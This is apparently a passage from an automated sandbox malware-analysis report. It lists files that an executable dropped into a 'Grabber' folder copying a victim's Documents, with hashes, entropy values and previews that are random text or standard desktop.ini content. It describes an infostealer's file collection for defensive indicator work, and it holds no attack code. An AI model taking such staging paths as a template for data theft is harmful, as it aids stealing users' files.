Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Music\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5258560106596737
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qml3lDmo0qmZclLwr2FlDmo0IWUol94klrgl2FlDmo0qjKAZY:QCGwv4o0x34o02lLwiF4o0ZvbUsF4o0Z
MD5:	06E8F7E6DDD666DBD323F7D9210F91AE
SHA1:	883AE527EE83ED9346CD82C33DFC0EB97298DC14
SHA-256:	8301E344371B0753D547B429C5FE513908B1C9813144F08549563AC7F4D7DA68
SHA-512:	F7646F8DCD37019623D5540AD8E41CB285BCC04666391258DBF4C42873C4DE46977A4939B091404D8D86F367CC31E36338757A776A632C7B5BF1C6F28E59AD98
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.0.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.0.8.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.7.....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5218877566914193
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmclDmo0qmJclLwr2FlDmo0IWVvklrgl2FlDmo0qjKArn:QCGwv4o0o4o0mlLwiF4o090UsF4o01Ar
MD5:	50A956778107A4272AAE83C86ECE77CB
SHA1:	10BCE7EA45077C0BAAB055E0602EEF787DBA735E
SHA-256:	B287B639F6EDD612F414CAF000C12BA0555ADB3A2643230CBDD5AF4053284978
SHA-512:	D1DF6BDC871CACBC776AC8152A76E331D2F1D905A50D9D358C7BF9ED7C5CBB510C9D52D6958B071E5BCBA7C5117FC8F9729FE51724E82CC45F6B7B5AFE5ED51A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.1.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.9.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.9.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.8.....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\NYMMPCEIMA.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	false
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
